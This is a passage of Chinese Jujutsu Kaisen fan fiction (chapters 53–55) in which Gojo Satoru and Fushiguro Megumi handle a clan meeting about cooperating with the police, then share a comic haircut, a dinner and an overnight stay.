伏黑惠对身后跟着的两人在这短短一路上吵了一架的事一无所觉,不知道脑子里在想什么。 禅院真依看着他坐在庭院走廊下, 站在他旁边, 貌似漫不经心地说:“惠君,有时候外人的话不用太在意。” 伏黑惠心不在焉地说:“我知道, 悟先生也这么说了。” 禅院真依:所以你觉得我说的外人是指谁?我自己吗?! 她又瞪了旁边站着的禅院真希一眼。 禅院真希已经习惯了在妹妹这里背锅的状态, 何况这次有一半真的是她的锅。 她坐到伏黑惠旁边, 直率地问:“惠, 以前悟也是这样?” “哪样?”伏黑惠回过神来, 困惑地看着她。 禅院真依不客气地说:“让人汇报你的行踪,像个变态!” 禅院真希感到有点尴尬。但伏黑惠并没有觉得被冒犯。他认真地想了想, 回答:“应该不会吧,那个时候我出门都会告诉他啊。” 禅院姐妹都沉默了。 禅院真依目光锐利地看向禅院真希:你看, 我就说他是个变态! 禅院真希:我也没有反驳你啊…… 禅院真依把头转了回去, 继续盯着伏黑惠:“每次出门都要报备也太过分了!这种变态要求就应该拒绝!” “不是, 悟先生只是关心我和津美纪。”伏黑惠为五条悟辩解道, “悟先生很忙,我和津美纪出门的时候都会告诉他, 这样他来家里的时候就不会扑空了。” 禅院真依怀疑地看着他,看他的眼神像是在看一个被PUA的小可怜。 禅院真希比较相信伏黑惠的说法,毕竟,她欣慰地说:“虽然悟是个笨蛋, 但应该不是个变态。” 禅院真依冷笑着抱胸:“那就不要做出这种容易让人误会的事情来啊!” 伏黑惠小声反驳道:“悟先生不是笨蛋吧。” 禅院真希用震惊的眼神看了他一眼。 伏黑惠头上冒出了几个问号。 禅院真希:“居然有人跟悟相处了这么久之后还认为他不是笨蛋吗?” 伏黑惠莫名其妙地问:“为什么悟先生会是笨蛋啊?” “因为那个人就很明显的……是笨蛋吧。”禅院真希很给伏黑惠面子的重新思考了一下,然后下了原本的定论。 伏黑惠:??? 禅院真依欣然接受了这个结论:“惠你在为那个笨蛋苦恼吗?” “不算吧……”伏黑惠皱了皱眉。 禅院真希问:“那是跟警视厅的合作不顺利?” 伏黑惠说:“挺顺利的。” “那还是因为那个笨蛋吧。”禅院真依说。 “所以以后都要用‘那个笨蛋’来代指悟先生了吗?”伏黑惠吐槽道。 “这么称呼保密性比较好。”禅院真希一本正经地胡说八道,“不然在禅院家里提起他太显眼了。” 禅院真依白了她一眼:“那你可以不提他,把家主行踪告诉别人的笨蛋真希!” 禅院真希说:“惠都没意见了。” 禅院真依说:“那你以后也不能说了!” “嗯,以后我会自己告诉悟先生的。”伏黑惠有点懊恼地说,“因为悟先生刚从「狱门疆」里出来,我都忘了。” 禅院姐妹双双沉默下来。 禅院真希一言难尽地说:“惠,你倒也不用这么乖……” 伏黑惠满不在乎地说:“这个没关系吧,悟先生也会告诉我啊。” 以前他一天要接五条悟好几条消息,去了哪里,这里的甜品店有什么好吃的,要不要带回去之类的。 那个五条悟是这种性格吗?禅院真依用眼神质问禅院真希。 禅院真希收起下巴,缓缓地摇了摇头。 伏黑惠忽略了这场无声的交流,决定把今天在警视厅听到的合作计划跟禅院姐妹分享一下,听听传统咒术师的意见。 “跟普通人合作?”禅院真依不屑地说,“他们能做什么?” “虽然听起来利用警察系统找人比较方便。”禅院真希这么说的时候没有任何实感,“但这样真的靠谱吗?不会以后除了作死的普通人,我们还得从咒灵现场捞警察和记者吧?” 伏黑惠说:“悟先生说他会跟警察那边好好讨论的。” 禅院真依和禅院真希交换着眼神: 是在敷衍吧? 绝对是在敷衍。 不过现在普通人都知道咒术师的存在了,难道以后真的要在普通人眼皮底下袚除咒灵? 不是有「帐」吗? 谁知道「死灭洄游」的结界解除后,结界术会不会退步到连「帐」都施不出来了? 啧!那以后袚除咒灵不会真的需要警察清场了吧?! 禅院真希和禅院真依心情复杂,拉拉扯扯地离开了。 伏黑惠坐在廊下,继续思考他和五条悟在回程车上的对话。 五条悟上车之后,盯着伏黑惠看了好一会儿,问:“惠认为他们说的合作有可能达成吗?” “有可能吧。”伏黑惠在谨慎思考之后说,“本来咒术师也跟普通人有合作关系,现在知道咒术师的普通人更多了,不可能完全不接触的。既然双方要接触那肯定是合作关系更好。” 五条悟点了点头,接着问:“那这件事跟惠留下继续做禅院家主有关系吗?” 伏黑惠沉默了一会儿,一双绿眼睛安静地看着五条悟,像是在思考他在想什么。 片刻后,他说:“我留下做家主是因为直毘人先生受伤之后没办法履行我们的约定,后来夜蛾校长也说这种情况,我做家主会比较好。” 五条悟郁闷地说:“惠相信禅院直毘人、相信夜蛾就是不相信我。” 伏黑惠从五条悟淡淡的语气里听出了委屈,但他不打算屈服:“因为悟先生总把我当成小孩子,什么都不对我说。” “明明是惠自己没问……”五条悟想到伏黑甚尔的事还是没告诉伏黑惠,有点心虚地转移话题,“惠不是说不想做咒术师吗?” “但我现在已经是咒术师了,这也是没办法的事。”伏黑惠不解地看着五条悟,不明白他为什么要一直纠结这个问题。 “我回来了就有办法了。”五条悟不依不饶地说,“但惠完~全~拒绝了我!” 五条悟很清楚伏黑惠留在禅院家时会有的想法:大家都很忙,不想要他们分出心思来照顾他。他留在禅院家可以变强,可以帮忙,还能让大家都放心。 但他现在已经回来了!!! 五条悟乌云罩顶地抱怨道:“惠就这么不想找我帮忙吗?” 伏黑惠镇定地说:“这点您也是一样的。” “那怎么一样?”五条悟振振有词,“惠还是未成年!” 伏黑惠反驳道:“但我已经是禅院家主了。悟先生想做的事,有禅院家的支持会容易很多吧。” 五条悟皱眉问:“这个也是夜蛾告诉你的?” 伏黑惠坦然答:“是直毘人先生告诉我的。” 五条悟的表情能看出他在心里骂禅院直毘人骂得很脏。 伏黑惠说:“悟先生从来没说过您的梦想是什么。” 五条悟惊讶地说:“我没说过吗?” 伏黑惠指出:“您说您的梦想是教书育人,桃李满天下。” 五条悟理直气壮地说:“那也没错啊!” 伏黑惠说:“但您没有说是为了改革。” “这就是我的改革方式。”五条悟说,“和平演变不好吗?” 伏黑惠诚恳地说:“挺好的,但现在已经来不及了。” 五条悟沉默地注视着伏黑惠,半晌后露出一个无奈的笑容:“没想到第一个跟我说这句话的人会是惠。” 这次轮到伏黑惠露出惊讶的表情了:“夜蛾校长和家入小姐没有……” “没有哦,硝子超——忙的,咒术界唯一一个比我还忙的人就是她了。”五条悟心绪复杂,面上举重若轻地说,“夜蛾倒是说了一些我被封印后发生的事,还夸奖了惠哦!” 他明白夜蛾老师的意思,只是对方没有像惠一样这么直白地说出来。 “如果其他人不同意怎么办?”五条悟说,“咒术师隐世了这么久,那些烂橘子不用说,有些老古板也不会同意的。” “我会站在悟先生这边。”伏黑惠没有慌乱,镇定地说,“有五条家和禅院家在,其他咒术师可以慢慢适应新的生活。” 五条悟问:“等情况稳定下来之后,惠还会继续留下吗?” “不会。”伏黑惠回答得很果断,“我留在这里只是因为想让社会快点平稳下来,我和津美纪还要上学。” 五条悟仿佛受到了打击一样问:“惠不是为了帮我吗?” “不是。”伏黑惠冷酷地说,“是因为咒术界的事解决不了,我在普通人的世界也没办法好好生活。” 五条悟怔怔地看着伏黑惠,像是终于肯接受夜蛾正道、家入硝子……他们或明或暗提醒过他的事实。 他有点怅然地叹了口气,神色还有点低落,感慨地说:“惠真的长大了……” 伏黑惠不明所以,但还是瞥了五条悟一眼,吐槽道:“希望您说的是真心话。” 五条悟捂住胸口,貌似很伤心地说:“难道我以前会骗惠吗?” 伏黑惠面不改色地说:“您是说关于那些‘再吃不到甜食就要死了’、‘不陪我玩就要死了’、‘爱吃甜食才能长高’……” “咳咳咳!”前方开车的伊地知洁高咳出了同病相怜的节奏。 “伊、地、知!” 第53章 跟普通人的合作方案很快就抬上了桌面, 总监会现在自顾不暇,已经失去了信任。而且这是一件关乎整个咒术界的大事,五条悟也不信任让总监会来解决。 那些烂橘子自己的屁股还没擦干净呢, 先别用脏手碰别的好。 由五条家领头, 禅院家附和,加茂家被邀请参加,举办了御三家会议。只要御三家能达成共识, 那总监会也无力阻拦。 在这之前, 东京校和京都校的咒术师已经分别从禅院真希和禅院真依口中听到了风声。 咒术师们常年以保护普通人为目的袚除咒灵,自然而然地养成了对普通人说不上居高临下, 但的确是以保护姿态看人的态度。 咒术师看普通人怎么看怎么觉得弱鸡, 现在说到合作都觉得不太靠谱。但现在咒术师暴露到普通人眼中, 大家也知道以前的一些习惯需要改变。 “其实以前咒术师和警方也不是没有合作吧?”钉崎野蔷薇说, “有些奇奇怪怪的案子会从警局转到我们手里。” “顺平……”虎杖悠仁深吸了一口气, 清了清嗓子,“顺平的那个案子, 当时我们进案发现场的时候就有警察在。” Panda说:“好像是因为这次东京死的人太多了。” “哈?!”钉崎野蔷薇立刻爆了,拍案而起, “他们不是想把这件事全都怪到我们头上吧?!” 禅院真希说:“不是, 是知道咒术存在, 跟咒术师合作的过的人都死的差不多了。” 钉崎野蔷薇讪讪地坐回原位:“这、这样啊……”她想了想, 问,“这是可以信任的普通人都死光了的意思吗?” “没有吧。”Panda贡献出自己的情报, “七海和冥冥对警视厅的印象都不错。我们近期的任务里也有几个是从警视厅那边转过来的。” “哦,那还可以。”钉崎野蔷薇回想着近期的任务,没发现有什么不能接受的地方,“嗯, 那也还行吧。” 禅院真希说:“惠那边对警察的印象也还可以。” 虎杖悠仁说:“如果我们能用警察身份做任务调查的话,其实也挺方便的。” 有很大一部分人都不耐烦回答陌生人的问题,但如果是警察的话就没问题了。 “这倒也是。”钉崎野蔷薇摸着下巴,“身穿警服的都市青春美少女听起来也不错。” Panda说:“应该不会直接让我们加入警视厅吧。” “没有也无所谓啦!”钉崎野蔷薇大大咧咧地说,“又不是我求着他们!” 禅院真希问:“这么说,你们都同意合作了?” 钉崎野蔷薇坦率地说:“只要不拖后腿,谁会嫌帮忙的人多啊?” 和东京校相比,京都校的态度更加谨慎。 禅院真依坐在休息室的沙发上,看着窗外,明明是她提出的话题却好像毫无兴趣。 自从五条悟解开封印的消息传开后,学生们也零零散散回到了学校里。 西宫桃跟禅院真依坐在同一个沙发的两端,三轮霞的耳朵上挂着小机械丸形状的耳机,东堂葵正在训练单手制服敌人,加茂宪纪已经回了加茂家主持大局,应该不会回来了。 庵歌姬看着沉默的学生们,轻轻叹出一口气:“你们对禅院家提出的合作计划怎么看?” 三轮霞问:“乐岩寺校长不同意吗?” 庵歌姬说:“校长认为咒术师应该保有神秘性,不能被人盯着袚除咒灵。” 东堂葵说:“无所谓,我袚除咒灵不会因为被人看着就失败。” 庵歌姬说:“咒术又不是看看就能学会的。” 西宫桃摇摆不定地说:“但是,如果普通人想要伤害我们呢?我们跟咒灵战斗的时候还要防备身后吗?” 东堂葵说:“袚除咒灵的时候本来就要防备身后。” 西宫桃小声说:“你知道我的意思,东堂。” 庵歌姬说:“如果擅长结界术也可以单独一人行动,不必告诉其他人。我们不会同意让普通人进入有咒灵的场所。” 禅院真依说:“如果担心的话,就先把人打晕再袚除咒灵,出来之后再把人叫醒说是咒灵干的就行了。” 三轮霞有点哭笑不得地说:“这样不太好吧。”她停顿了一会儿,歪歪偏头,似乎在听人说话,“机械丸说有需要的话他可以帮忙监视。” 双方很快就提出了相似的需求。 不能让普通人参与到袚除咒灵的行动中来,不然除了添乱之外毫无用处。还有,双方只是合作关系,不要进行不必要的接触,私下里的私人感情接触除外。 “你们觉得老师是什么人啊?当然不会达成不利于我们的条款啊!”五条悟说,“这个合作保护的是咒术师的利益,因为结界不知道什么时候能恢复嘛!不会让你们受欺负的!” 警察这边提出合作也不是冲着欺负咒术师去的,相反,他们尽可能地提供了完备的后勤条件。 咒术师受到了保护,才能安心地去袚除咒灵、保护普通人。 这就像是派人去卧底总要解决他的后顾之忧,不能让他牵肠挂肚地走,不然不是自找麻烦吗? 从还没有被迂腐的烂橘子毁掉脑子的学生们这里获得了反馈。 御三家会议如期展开,议题就是讨论跟普通人合作的协议条款。 嗯,直接就是讨论条款,没有同意和拒绝的选项了。 五条家就是五条悟的一言堂。禅院家这边有伏黑惠,就算有人不同意也掀不起大的风浪。 伏黑惠快刀斩乱麻地说:“你不同意就脱离禅院家好了。” 禅院家的人大多数根本没有脱离家族的心气。禅院直哉再怎么气愤地在屋里转着圈骂人,现在禅院家的家主也是伏黑惠。他是真的可以把人赶出禅院家的。 至于加茂家的态度…… “羂索就是加茂宪伦和加茂家在五条悟被封印的时候站在羂索那边是无法洗去的污点。”加茂宪纪跪坐在主位上,面容沉肃地对长老们说,“这次御三家会议,五条和禅院还邀请了加茂家,如果我们否定议题,不愿意参与,很可能会被御三家除名——这是我们最后的机会,继续作为御三家的一员,哪怕只是跟在五条和禅院身后也没有关系。” 长老们已经被五条悟的清洗吓破了胆子,跟羂索有关系的长老都被处理掉,加茂家里的血腥味三天都没散。 而羂索在之前已经把反对他的人都清理了一遍。二次清理之后,现任长老全都是新补上来的,没有资历反对新任家主的决定,也惧怕于五条悟的存在,全都低头表示遵从家主的意见。 五条悟还是第一次开这么顺利的御三家会议。他突然发现只要这些人针对的人不是他自己,那他们还算是有点用处。 他看着这群长老们一个字一个字斤斤计较,吵成一团,但归根结底都是为了保护咒术师的利益,唇边浮现出一个有点欣慰的笑容。 不过不顺心的地方还是有。 五条悟在中场休息的时候出来透气,溜溜达达地走到伏黑惠身边,阴阳怪气地打招呼道:“禅~院~先~生~” 伏黑惠下意识皱了皱眉,心中一阵恶寒,奇怪地看着五条悟:“您为什么要这么称呼我?” “哼!”五条悟不开心地哼了一声,“那么多人都这么称呼,惠也没有意见啊!” 刚才开会的时候听着其他人一口一个‘禅院先生’‘禅院大人’称呼伏黑惠,五条悟越听越火大。 伏黑惠无语地看了他一眼,平静地说:“说起来,悟先生不是说御三家的人互相称呼姓氏会分不清楚,所以会直接喊名字吗?” 刚才那些人喊‘禅院先生’或者‘禅院大人’的时候,所有人都看向他,似乎这是一个默认的称呼。 “因为惠是家主嘛!”五条悟好似没有心虚地抬头看天,振振有词地说,“正式会议还是要正式一点喊敬称,其他时候还是喊名字的啊!” 伏黑惠怀疑地问:“真的吗?” 五条悟低头看向伏黑惠,真诚地说:“真的。” 伏黑惠淡定地点点头:“所以我也该继续喊您‘五条先生’吧。” 五条悟一脸受到了打击的表情:“惠居然学会报复了!果然都是被禅院家带坏的!” 伏黑惠理直气壮地说:“是您先开始的。” 五条悟不服地说:“我在里面也是喊的惠的名字!” 伏黑惠说:“但是为了正式一点,果然还是应该喊您‘五条先生’。” 五条悟像是想出了坏主意的猫咪一样眯了眯眼睛:“我们互相喊名字完全没问题哦,名字又不会耽误互相喊敬称,惠、大、人~” 作者有话说:本文联动柯南和金田一就是为了给咒术师一个靠谱的合作对象,大家不需要用三次元的箭射二次元的靶,我本身也不是擅长写智斗政斗武斗的作者,我只擅长小甜饼,以后就该专注发展感情线了 其实我没搞懂原作里御三家除名的做法,我一开始以为这是个俗称,后来发现能除名就证明这是个正式团体,但正式团体总要有权利有义务吧?如果说御三家的权力就是举荐总监会候选人,那禅院家除名之后是改成御二家还是再补进来一个 第54章 “啪!” 一声脆响。 中场休息时喝茶的、吃点心的、私聊的、特意找刚才跟自己对着干的人单挑的……众人的目光不由得循声望去。 屋外, 廊下,窗边,年少的禅院家主正面红耳赤地瞪着五条家主。 那一声脆响大概跟禅院家主捂在五条家主嘴上的手有关系。 房间中有短暂的静寂。 随后很快又响起了叽叽嘈嘈的谈话声, 反正五条家主看起来眉眼弯弯一点儿都没生气的样子, 那自己养的孩子自己受着不是很正常吗? 五条悟一脸无辜地看着伏黑惠,露出的蓝眼睛灵动得仿佛会说话:惠~ 他张了张嘴,嘴唇扫过伏黑惠的手心。 伏黑惠猛得抽回手, 恶狠狠地瞪他, 颇有一两年前伏黑哥的风范。 “噗嗤!”五条悟忍俊不禁,装模作样地抱怨道, “惠好凶哦!” 伏黑惠用力翻了个白眼, 特意让五条悟看清楚:“是您自找的!” “我只是在回答惠的问题哟~”五条悟笑嘻嘻地说, “惠喊我‘悟先生’也差不多嘛!” 伏黑惠扭过头不理他, 显然是在生气了。 五条悟还不消停:“生气了吗, 惠?真的生气了?”他按着伏黑惠的肩膀不让他动,自己左看看右看看, 像一只故意在人忙碌的时候围着人绊脚的猫。 伏黑惠深吸了一口气:“我真的要揍您了!” 五条悟有恃无恐地说:“惠每次都这么说但从来都没动手过……诶呀!” “好痛!”五条悟龇牙咧嘴地哭丧着脸,“惠是不是忘记自己穿的是木屐了。” 伏黑惠不知所措地眨了眨眼睛, 长长的漆黑的睫毛像是两把小扇子一样忽闪着:“抱歉……”他是真的忘记了。 他皱起眉, 担心地看着五条悟:“很痛吗?” “没关系。”五条悟偷偷摸摸地在其他人看不见的角度把和服掀开一点点露出小腿, “看, 完好无损!” 伏黑惠先是松了口气,然后想起来自己还在生气, 不开心地抿着嘴角不说话。 五条悟摸了摸伏黑惠的头:“惠像一只在闹脾气的小黑猫一样,头发都像是生气了炸起来的毛毛。” 伏黑惠气急败坏地躲开他的手:“五条先生!” 房间里的‘五条先生’们转头看向他们,对上五条悟的视线后如同一个个受惊的鸵鸟一样把头转了回去。 五条悟收回视线,得意地说:“看, 我没有骗惠吧,在这种场合称呼姓氏就是不方便嘛!” 伏黑惠心中升起一股习以为常地面对五条悟时的无力感,敷衍道:“知道了,悟先生。” 五条悟点了点头,问:“那惠现在心情好点了吗?” 伏黑惠疑惑地看着他。 五条悟叹息地说:“惠想发脾气就发脾气,干嘛忍着?”他看起来很是不忿,“惠完全不需要忍耐任何人!如果有人欺负你一定要反抗,还要告诉我!” “……我真的没有被欺负。”伏黑惠不知道为什么五条悟总认为他被欺负了,完全没有发生过的事让他百口莫辩,“真希前辈不是也回来了吗?您可以问她啊!” 五条悟振振有词地说:“真希也不知道惠之前有没有被欺负啊!” 伏黑惠按了按额角:“那还有真依前辈。” 五条悟犀利地指出:“真依也总是在学校里。” 伏黑惠的手已经按不住额角的青筋了。 五条悟在伏黑惠真的炸毛之前,转移话题问:“惠的头发长长了呢,不打算剪发吗?” 其实头发长了手感也蛮好的,别看惠的头发看着很扎,其实摸起来很舒服。 伏黑惠抬手摸了摸自己的发尾,的确是有点长了:“最近太忙了,没想起来。” 五条悟心血来潮地问:“惠要不要试试长发?” “不要。”伏黑惠拒绝得干脆利落,“我回去就剪。” “找禅院家的人给你剪吗?”五条悟撇撇嘴,故意吓唬他,“他们会剪什么?小心把惠剪秃了!” 伏黑惠有点迟疑,但是,他看着五条悟:“难道您会剪吗?” 这个还真不会。 但是一个好的家长不能说自己不会。 五条悟眼也不眨地说:“我当然会了,等会议结束之后我帮惠剪!” 伏黑惠也没怀疑,五条悟什么都会的印象实在是深入他心。就算现在五条悟跟他说他会生孩子,伏黑惠也能半信半疑。 “好。”伏黑惠答应得很痛快,他其实也不想让禅院家的人帮他剪头发,纯粹是因为不想让不熟的人碰。 原本他想回去之后找个理发店的。 五条悟雄赳赳气昂昂地回到了座位上,宣布下半场会议开始,然后拿着手机在会上摸鱼,狂补剪发小技巧。 众人对他公然摸鱼也没什么话说,会上吵架是长老们的事,最后拍板才需要家主说话。 只要五条悟不因为不耐烦打断他们的激烈商议,直接一言堂就不错了。 五条悟一脸严肃地盯着手机,谁看到都以为他在处理正经事,可能是五条家/东京校/……出了什么急事吧。 伏黑惠歪头看着五条悟则是另一种猜测:为什么五条先生看着像是喜欢的甜品店推出了一款他很讨厌的甜品的表情? 五条悟:为什么剪发这么多动作?不是只要剪齐就可以了吗?而且这上面的模特发型都跟惠不一样啊!惠这种发型根本不可能剪成顺毛吧? 他思考了一会儿,选择用钞能力解决问题。于是他在网站上找了个剪发师,加了他的好友,发了一个能让人惊掉下巴的大红包,让对方现在立刻马上对他进行一对一无声教学。 天上掉馅饼的理发师:??? 好耶! 五条悟认真揣摩着理发技巧,顺便一心二用听着周围人吵架做背景音,随口反驳一两个离谱提议。 确认自己已经充分掌控了理论知识后,他按灭了手机:“好了,你们吵完了吧?” 沸反盈天的房间一下子安静下来,众人看向五条悟。 五条悟拿过桌面上厚厚一沓会议纪要,懒得看,于是问:“你们达成什么共识了?” 伏黑惠复制了一下自己的备忘录,发了封简洁明了地记载着条款的邮件给他。 五条悟打开看了看,差强人意:“你们也还有点用嘛。我知道了。” 众人都松了口气。 五条悟挥挥手:“行了,都散了吧,惠你留一下。” 禅院家和五条家的人都看向伏黑惠。 伏黑惠后悔了。要不然他还是去理发店吧…… “惠~”某个人还在不依不饶地叫他,顺便沉着脸把其他人都瞪走,“今天正好,我和惠叙个旧,明天再送惠过去。你们这些人不让惠留下是对惠做过什么不能让我知道的龌龊事吗?” 禅院家的人和五条家的人拉拉扯扯地出去了。 禅院家:指指点点。 五条家:算了算了。 伏黑惠第一次认为自己应该跟禅院家的人一起走。 “惠,坐啊!”五条悟看着像是找到了新玩具般兴致勃勃,“我已经让人去烧水了,一会儿先洗头,然后再剪。” 伏黑惠抓住救命稻草:“还得烧水太麻烦了,要不然……” “不麻烦!”五条悟打断了他的话,摩拳擦掌地说,“惠就看我大显身手吧!” “……头发我自己洗就可以。”伏黑惠有点绝望,以他对五条悟的了解,这个状态不像是擅长剪发的样子,倒像是终于有人愿意让他做实验了的表情。 如五条悟所说,烧水的确不麻烦,甚至给伏黑惠找一身换洗衣服也是分分钟的事。 因为这是五条家。御三家会议谁提出就在谁家开。 伏黑惠把身上穿着复杂的和服换下来,裹着浴袍进了浴室。 五条悟拿着手机,在外面扯着嗓子问伏黑惠晚上想吃什么? 伏黑惠感觉热水落在身上,一边心如死灰地拿洗发液,一边有气无力地回答吃什么都行。 五条悟在外面听着伏黑惠‘虚弱’的声音,立刻判定惠在禅院家肯定吃不好,叫来五条家的侍者,熟练地念了一长串菜单。 伏黑惠看着一桌子自己喜欢吃的菜很感动。 算了,要是剪得太差劲,那就……真的揍五条先生一顿! 他看着自己坐在凳子上,面前还空着一个凳子的目光灼灼看着他的五条悟,如此想。 伏黑惠试图拖延时间:“我们不先吃饭吗?” 五条悟迫不及待地把伏黑惠拉过来,按在凳子上:“菜还没上完,剪发很快的。惠现在头发还湿着,耽误时间太久会感冒的!” 伏黑惠看着镜子里的自己,恍惚间觉得镜子里的自己在质问他什么,然后就被拿起剪子的五条悟吓清醒了。 五条悟一脸严肃地站在伏黑惠身后,顺毛的惠跟伏黑甚尔实在太像了,他一定要尽快解决这个问题! 最强咒术师拿出刚才特意让人去买的理发剪,小心地下了第一剪。 同时,通过被五条悟揣在前胸口袋里的手机远程指导的理发师迎来了职业生涯中付出回报率最高的挑战。 伏黑惠木然地坐在凳子上,被五条悟像是洋娃娃一样摆弄,从镜子里看到对方如临大敌般的神情。 虽然脸上的表情只是严肃紧绷了一点,但眼神很明显啊! 难道是真的不会剪头发吗? 悟先生应该不会骗他,所以是以前会剪但是很久没剪了? 伏黑惠看着五条悟越剪越流畅的动作,觉得应该是后面这个猜测。 也对,五条先生毕业以后就越来越忙,肯定没时间自己剪头发了。 最后五条悟把伏黑惠从一颗小海胆剪成了一颗小毛球,炸还是炸的,就是稍微短了一点。 五条悟有点心虚地收回剪子,理直气壮地看向伏黑惠:“我就说我的手艺没退步吧!” “……嗯。”伏黑惠应了一声,从凳子上起身,“吃饭吧,菜要凉了。” 第55章 五条悟和伏黑惠坐在一起。五条悟一边吃饭一边美滋滋地看伏黑惠的新发型, 越看越顺眼:“惠,我的手艺很好吧?” 伏黑惠有点无语,但他对于发型没有什么太大要求, 只要不难看就可以, 于是点了点头。 五条悟掏出手机,对着伏黑惠来了个二十连拍,美其名曰, 为了记录他的手艺。 伏黑惠:…… 他夹了一口生姜烧肉, 放在嘴里狠狠嚼。 五条悟收回手机,看着伏黑惠的样子, 紧着给他夹菜:“惠喜欢吃就多吃点, 你瘦了好多!” “有吗?”伏黑惠低头看了看自己, 没觉得有什么区别。 “有!”五条悟信誓旦旦地说, 用手比出一个圈, “惠原本的腰是这么粗,”然后他把手往里收了一个几乎看不出来的距离, “现在是这么粗!” 伏黑惠说:“可能是肌肉变多了吧。” “真的吗?”五条悟伸手掀伏黑惠的上衣下摆,伏黑惠洗完澡出来之后就换上了五条悟给他准备的日常衣服, 现在正好方便。 伏黑惠眼疾手快, 按住了自己的上衣下摆:“您松手!” 五条悟立刻怀疑地看着他:“惠为什么不让我看?是不是身上有伤?!” “没那回事。”伏黑惠反向质问, “我为什么非得给您看不可?!” “因为我是惠的监护人!”五条悟大声宣布, “就算惠现在是禅院家主也没用!” 伏黑惠张了张嘴,有一种觉得哪里不对但又说不出什么不对的感觉, 有气无力地吐槽道:“您知道您在说什么吗?” “我在宣誓主权,等明天我就去禅院家门口挂个横幅!”五条悟忿忿不平地说。 伏黑惠额角的青筋跳了跳:“请您不要这么做!” “为什么?”五条悟居然还有点委屈。 “因为我现在是禅院家主,这样很丢人!”伏黑惠忍无可忍,“我真的要揍您了!” 五条悟露出了普通人看到小猫挥爪子的神情:“那不挂在禅院家门口, 挂在五条家门口好了。” 伏黑惠:…… 他不理解。 伏黑惠为了保住自己的面子,指出:“我以为这件事御三家的人都知道了。” 五条悟振振有词地说:“知道了还敢跟我抢,这是明目张胆地挑衅!” 伏黑惠皱了皱眉,观察着五条悟的神色:“您为什么这么在意?” 五条悟不可置信地看着伏黑惠:“因为是惠!我当然在意!” “但我成为禅院家主又不代表什么。”伏黑惠冷静地说,“我没有入籍,学籍上面的名字还是伏黑惠,虽然直毘人先生说族谱上的名字是禅院惠让我有点苦恼,但没有很多人能看到也还好。我也没有被禅院家的人收养,您的确还是我的监护人。” 五条悟像失去了力气的猫一样趴到桌面上,整个人是长长的一条。幸好两个人吃得差不多了,不然桌子可能都不够他趴的。 五条悟吞吞吐吐地说:“其实,那个,我也不是惠在法律意义上的监护人。” 伏黑惠说:“我知道啊,您只是资助了我和津美纪。” 五条悟猛地坐直了身体:“惠知道?!” “当然知道啊。”伏黑惠莫名其妙地说,“五……悟先生当初很明显不满足收养条件吧。” 五条悟默默看着伏黑惠。 伏黑惠不明所以地回视他。 五条悟问:“真的不是禅院家告诉惠的?” 伏黑惠无语地说:“……直毘人先生倒也没有这么闲。您就是为了这个闹别扭?” 五条悟看向其他方向,若无其事地吹着口哨。 伏黑惠无奈地说:“我还奇怪您为什么这么在意我成为禅院家主的事……” 五条悟把头转回来,看向伏黑惠,认真地说:“这是两回事。” 伏黑惠问:“是吗?” 五条悟坚定地说:“是!” 伏黑惠跟他对视了一眼,不自在地摸了摸后颈:“我知道了,反正我都是不会留在禅院家的。” 五条悟得意地甩着猫尾巴:“惠还是更喜欢我吧!” “这种话没必要说出来。”伏黑惠脸上写满了欲盖弥彰。 五条悟高高兴兴地说:“惠今天还跟我睡一间房吧?我们秉烛夜谈!” “不要。”伏黑惠拒绝道,“我明天要早起。” 五条悟可怜巴巴地问:“惠有什么事吗?” 伏黑惠叹了口气:“您是不是忘记了我才成为禅院家主没多久,今天刚刚开完御三家会议,明天肯定有很多事要处理。” “哦,那我们一起看星星吧。”五条悟从善如流地说,“我还可以给惠弹一闪一闪亮晶晶哦!” “不用了,我已经很久不听儿歌睡觉了。”伏黑惠随口说。 五条悟起身带着伏黑惠穿过走廊回他的房间。五条悟的房间比伏黑惠在禅院家住的那间大一些,跟禅院直毘人的房间差不多。 五条悟打开房门让伏黑惠进去:“惠之前来过吗?” “没有。”伏黑惠说,“之前来过五条家一次,没进您的房间。” 五条悟关上门,从柜子里抱出干净的被子:“惠完全可以让人放你进来。” 伏黑惠说:“没必要。” 五条悟问:“惠不好奇我的房间吗?” “不好奇。”伏黑惠嘴上这么说着,但眼睛很诚实地扫过五条悟的房间。 宽敞的厅堂两边分别是书房和卧室。客厅的茶桌上摆着一套精美的茶盏,书房的书桌上放着一摞摞文件,窗下有一张木榻,卧室…… 伏黑惠走进去,卧室的视线比书房暗一些,有一张超级大的床,上面铺着很柔软的被褥。 五条悟正在把另一套被子铺平。伏黑惠有点局促地站在一边。 “惠在紧张吗?”五条悟说,“这又不是我们第一次睡在一起了。” 伏黑惠和津美纪在琦玉的家只有两间卧室,五条悟每次都是跟伏黑惠住同一间的,按理说两个人都应该已经习惯了。 但是,伏黑惠看着那张大床,觉得一起睡榻榻米和睡同一张床还是有点不一样。 不过他睡得还挺香的,可能是因为白天开会耗费了太多精力。 第二天早起发现自己被当成抱枕的伏黑惠习以为常地踹了五条悟一脚。 被踹醒的五条悟打了个哈欠,试图撒娇耍赖赖床,未果,哀怨地看着起床穿衣服的伏黑惠。 伏黑惠说:“您继续睡就好了,我自己可以回去。” “不行,我要送惠回去!”五条悟晃了晃脑袋,也从床上起来换衣服。这是他表现超级重视惠的好机会,不然让人误会他不在意惠怎么办? 如果惠不做咒术师,或者惠只是个普通的咒术师,五条悟都不会把他的重视表现得这么明显。因为他是五条悟,他的重视可能会让惠暴露在所有敌对的目光中,身陷险境。 但惠现在是禅院家主,他表现得越重视他,禅院家才越不敢对惠做什么。五条家也不敢像之前那样轻视惠! ——其实知道他们两个人昨晚住在同一间房的五条家已经不敢了。了解五条悟脾气的五条家人正在怀疑人生。 如果不是性别问题,五条松甚至要怀疑伏黑惠是不是五条悟自己养的童养媳。 伏黑惠看着五条悟像是嗑了猫薄荷一样摇头晃脑地起床,不忍心地说:“您要是实在太困就算了吧,要不然让伊地知先生送我回去也可以。” 五条悟坐下,朝着伏黑惠招了招手,然后抱住伏黑惠的腰,把脸埋进他的小腹,用力蹭了蹭。 伏黑惠拍了拍五条悟的头,动作熟练,很像在拍玉犬。 五条悟发出了哼哼唧唧的撒娇声。 但没办法,需要上班的人是这样的,家里的大小可爱再舍不得也得离开。 五条悟趴在车窗窗口,依依不舍地目送伏黑惠进了禅院家,唉声叹气地说:“走吧,伊地知。” 昨晚的短暂相处让他有了跟惠回到原本的轨迹的感觉,但今天还是得一早起来把他的小孩送到别人家。 五条悟低落地像是第一次把孩子送寄宿学校的家长,禅院家真是太可恶了! 